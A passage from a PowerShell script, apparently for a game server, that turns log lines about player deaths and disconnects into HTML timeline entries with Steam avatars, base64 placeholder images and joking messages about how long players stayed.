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>" } Else { "<img class='img-xs img-circle' src=$AvatarIcon>" } ) "$PlayerName Died!" "</div>" "</div>" } #Player Left "*INF Player*disconnected after*" { #Get Variables $TimeDelta = $((Get-Date) - [datetime]$($_.Split(" ")[0])) $PlayerName = $($_.Split(" ")[4]) $LastedTime = $($_.Split(" ")[7]) + " " + $($_.Split(" ")[8]) $SteamID = $PlayerNames.Get_Item("$PlayerName") $SteamURL = "http://steamcommunity.com/profiles/" + $SteamID + "?xml=1" $SteamProfile = $(([xml](Invoke-WebRequest -URI $SteamURL).Content).Profile) $AvatarIcon = $($SteamProfile.avatarIcon.'#cdata-section') #Parse The Command And Write The HTML "<div class='timeline-entry'>" "<div class='timeline-stat'>" "<div class='timeline-icon bg-info'><i class='fa fa-sign-out fa-2x'></i></div>" "<div class='timeline-time'>" IF($($TimeDelta.Days) -gt 0){"$($TimeDelta.Days) days ago"} ElseIf($($TimeDelta.Hours) -gt 0) {"$($TimeDelta.Hours)h ago"} ElseIf($($TimeDelta.Minutes) -gt 0){"$($TimeDelta.Minutes) mins ago"} ElseIf($($TimeDelta.Minutes) -lt 0){"just now"} "</div>" "</div>" "<div class='timeline-label'>" $( If($LastedTime -lt 60) { "<p class='text-main text-semibold'>Weak Sauce!</p>" #Lookup To See If Player Is Too New To Get A Profile From Or Is A Child Profile If($AvatarIcon -eq $null) { "<img class='img-xs img-circle' src=data:image/png;base64,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>" } Else { "<img class='img-xs img-circle' src=$AvatarIcon>" } "$PlayerName could only handle $LastedTime before he bounced, so weak bra!" } ElseIf($LastedTime -lt 180) { "<p class='text-main text-semibold'>At Least You Did Something Before You Got Off!</p>" #Lookup To See If Player Is Too New To Get A Profile From Or Is A Child Profile If($AvatarIcon -eq $null) { "<img class='img-xs img-circle' src=data:image/png;base64,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>" } Else { "<img class='img-xs img-circle' src=$AvatarIcon>" } "$PlayerName could only handle $LastedTime before he bounced, so weak bra!" } Else { "<p class='text-main text-semibold'>You Deserve A Vacation!</p>" #Lookup To See If Player Is Too New To Get A Profile From Or Is A Child Profile If($AvatarIcon -eq $null) { "<img class='img-xs img-circle' src=data:image/png;base64,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